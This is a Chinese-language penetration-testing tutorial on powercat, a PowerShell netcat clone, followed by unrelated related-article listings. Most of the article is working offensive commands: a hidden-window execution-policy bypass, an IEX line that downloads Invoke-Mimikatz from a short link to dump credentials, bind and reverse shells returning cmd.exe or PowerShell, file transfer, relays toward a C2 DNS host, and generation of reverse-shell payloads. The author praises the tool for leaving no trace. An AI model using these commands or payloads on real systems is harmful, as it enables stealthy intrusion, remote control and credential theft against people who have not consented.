powercat工具详细分析

简介: 本文讲的是powercat工具详细分析,这个工具出来两年了,但是好像很少人知道他。国外的大牛们用的比较多,国内的文章出现powercat关键字的寥寥无几,更别说有这款工具的详细用法了。
本文讲的是 powercat工具详细分析这个工具出来两年了,但是好像很少人知道他。国外的大牛们用的比较多,国内的文章出现 powercat 关键字的寥寥无几,更别说有这款工具的详细用法了。

0x01  powercat简介

NetCat 的Powershell 版本。作者的介绍也是这样写的,但是我觉得,powercat不管怎么样,也有比NetCat 强的一点,就是没有任何痕迹!来无影去无踪。关掉powershell 我们还是好朋友。

0x02 下载运行

直接克隆回本地:

git clone https://github.com/besimorhino/powercat.git

你直接执行的话是肯定执行不了的,因为你没有权限

powercat工具详细分析powercat工具详细分析

导入也导入不了,执行也执行不了。正常

在终端输入get-executionpolicy

powercat工具详细分析powercat工具详细分析

Restricted——默认的设置,不允许任何script运行

AllSigned——-只能运行经过数字证书签名的script

RemoteSigned—-运行本地的script不需要数字签名,但是运行从网络上下载的script就必须要有数字签名

Unrestricted—-允许所有的script运行

要运行Powershell脚本程序,必须要将Restricted策略改成Unrestricted,而修改此策略必须要管理员权限。但是在渗透过成功,你要有管理员权限,那还玩什么?直接Mimikatz 读密码了,还在这费这劲。所以,权限绕过吧。

本地权限绕过

PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1

本地隐藏权限绕过执行脚本

PowerShell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -WindowStyle Hidden(隐藏窗口) -File xxx.ps1

用IEX下载远程PS1脚本回来权限绕过执行

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI');Invoke-Mimikatz-DumpCreds"

所以,直接选择最简单的吧,也别下载了,直接远程权限绕过,在Powershell 中执行:

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

可以看到Powercat已经成功执行了

powercat工具详细分析powercat工具详细分析

0x03powercat基本操作

powercat 到底还是netcat的翻版,他们操作起来非常相似,我就不贴一堆命令,然后贴中文注释了,因为我的英文水平还停留在小学六年级的样子。大家需要的话自行google

powercat因为是netcat 的翻版,所以他们两个连接起来没有任何的问题,先来建立起一个简单的Socket 通信看看样子,总感觉很牛的样子

简单的socket通信

kali的ip:192.168.12.101

kali 下用netcat来执行命令

netcat -l -p 8888 -vv

Windows 测试机下执行powrcat 命令

powercat -c 192.168.12.101 -p 8888 -v

执行完这两道命令,kali 跟windows已经建立了一个基本的socket回话了,相当于一个聊天窗口,企鹅的功能,在悄悄秀一波英文水平,没骗你们,真的只会这一句

powercat工具详细分析powercat工具详细分析powercat工具详细分析

powercat命令解析

-c 指定一个ip地址
-p 指定一个端口
-v 显示详情

这是一个基本的socket 通信,相信会撸代码的同学都可以轻松写出这样的代码

一个基本的socket通信是没有可能满足我们的。继续深入

正向链接

windows主机ip:192.168.12.109

windows主机下执行:

powercat -l -p 8888 -e cmd.exe -v

kali下用Netcat执行:

netcat -vv 192.168.12.109 8888

成功返回换一个cmd命令行

powercat工具详细分析powercat工具详细分析

powercat命令解析

-l 监听模式,用于入站链接
-p 本地端口号
-e 程序重定向,跟nc一毛一样
-v 显示详情

反向链接

kali下执行:

netcat -l -p 8888 -v

windows主机下执行:

powercat -c 192.168.12.101 -p 8888 -e cmd.exe

成功反向链接回来

powercat工具详细分析powercat工具详细分析powercat工具详细分析powercat工具详细分析

来个牛的

上面可以跟nc配合,但是nc没有办法返回powershell,powershell就是在渗透过程中的一把利刃,而powercat刚刚好可以返回一个powershell

两台windows测试机的ip分别是192.168.12.108,192.168.12.109

ip192.168.12.109的机器上执行:

powercat -l -p 9999 -v

在另一台上执行:

powercat -c 192.168.12.109 -p 9999 -ep

powercat工具详细分析powercat工具详细分析

可以直接干一点坏坏的事情,比如说,下载个mimikatz,然后。。

powercat命令解析

-eq 返回powershell

0x04 Powercat其他操作

文件上传

这个不用说,基本这种连接的都支持

c:下新建一个test.txt的文件,写入hello word!

在有text.txt的机器执行:

powercat -c 192.168.12.108 -p 9999 -i c:test.txt -v

另一台机器执行

powercat -l -p 9999 -of c:test.txt -v

我建议在这里加上-v参数,要不我们不知道文件有没有上传完,当上传完成的时候,直接Ctrl+c关闭连接,如果不关闭,可以继续向文件中写入文件

powercat工具详细分析powercat工具详细分析

这里并没有直接结束掉,而是又写入了一些文件,来看看在靶机中到底写入了什么

powercat工具详细分析

powercat命令解析

-i  指定要上传文件的绝对路径

-of 接受文件的路径以及名称

中继

这个功能也是基本都有的功能,不做演示,个人觉得用的不多,当然,做跳板另当别论。直接贴上官方的代码(借助google翻译):

TCP侦听器到TCP客户端中继:     powercat -l -p 8000 -r tcp:10.1.1.16:443TCP侦听器到UDP客户端中继:     powercat -l -p 8000 -r udp:10.1.1.16:53TCP侦听器到DNS客户端中继     powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.comTCP侦听器使用Windows默认DNS服务器到DNS客户端中继     powercat -l -p 8000 -r dns ::: c2.example.comTCP客户端到客户端中继     powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443TCP侦听器到侦听器中继     powercat -l -p 8000 -r tcp:9000

类似MSF的回弹功能

powercat这个回弹很牛,可正向可反向。

powercat -c 192.168.12.109 -p 9999 -e cmd -g

生成一个反向链接的payload,可以链接到192.168.12.1099999端口,这条命令之后是这个样子的= =

powercat工具详细分析powercat工具详细分析

这是powershell脚本,保存为.ps1的格式,运行吧

正向连接马:

powercat -l -p 8000 -e cmd -ge

坚挺本地的8000端口,然后等待链接。执行后:

powercat工具详细分析powercat工具详细分析

用法,没有尝试,应该与Empirepayload相似.

说句我的看法,个人觉得不是很实用,如果是你,有了这样的机会,你会选择用Powercat吗?要我,我直接上Metasploit,Empire了。

0x05 总结

Powercat的大部分功能都是可以用其他工具代替的,但是,不管怎么说,都是一种思路。他的存在肯定有他的意义,要不作者也不会无聊开发出这样的工具来。讲句心里话,我最看好他执行过后什么都不会留下。




原文发布时间为:2017年6月7日
本文作者:smileTT
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
一步步手动实现热修复(二)-类的加载机制简要介绍
*本篇文章已授权微信公众号 guolin_blog (郭霖)独家发布 本节课程主要分为3块: 1.一步步手动实现热修复(一)-dex文件的生成与加载 2.一步步手动实现热修复(二)-类的加载机制简要介绍 3.一步步手动实现热修复(三)-Class文件的替换 本节示例所用到的任何资源都已开源,项目中包含工程中所用到代码、示例图片、说明文档。
999 0
|
安全 IDE Java
【Java应用诊断工具】「BTrace」基本概念和原理的介绍(1)
【Java应用诊断工具】「BTrace」基本概念和原理的介绍(1)
121 0
《软件需求最佳实践:SERU过程框架原理与应用》笔记
最近看了这本书,和实际的结合比较紧密,对实际的需求有一定的指导作用,特别市对于国内的特色需求,有很好的指导。 《软件需求最佳实践:SERU过程框架原理与应用》 首先从软件需求实践中出现的主要问题和困难入手,指出了改进的主要方向;然后逐一说明了需求定义、需求捕获、需求分析与建模、编写规约、需求验证等需求开发活动的任务、要点和具体手段;并提出了一个可操作性强、易于上手的SERU过程框架,能够帮助读者清晰地了解整个过程,理解各阶段的关键产物和产物之间的关系。
1183 0
|
存储
【第五篇】androidEventbus源代码阅读和分析之unregister代码分析
代码里面注销eventbus一般我们会在onDestory里面这么写:  1 EventBus.getDefault().unregister(this);  然后走到unregister里面去看看: 1 /** 2 * @param subscrib...
709 0
|
存储 测试技术 数据库
让你提前认识软件开发(52):系统某模块工作原理详述
第3部分 软件研发工作总结 系统某模块工作原理详述   【文章摘要】         某模块在系统中占有非常重要的地位,该模块能够对符合条件的动态信箱进行清理。
1182 0
|
安全 前端开发 Java
深入分析GadgetInspector核心代码(一)
深入分析GadgetInspector核心代码
194 1
深入分析GadgetInspector核心代码(一)
|
存储 安全 Java
深入分析GadgetInspector核心代码(二)
深入分析GadgetInspector核心代码
78 0
深入分析GadgetInspector核心代码(二)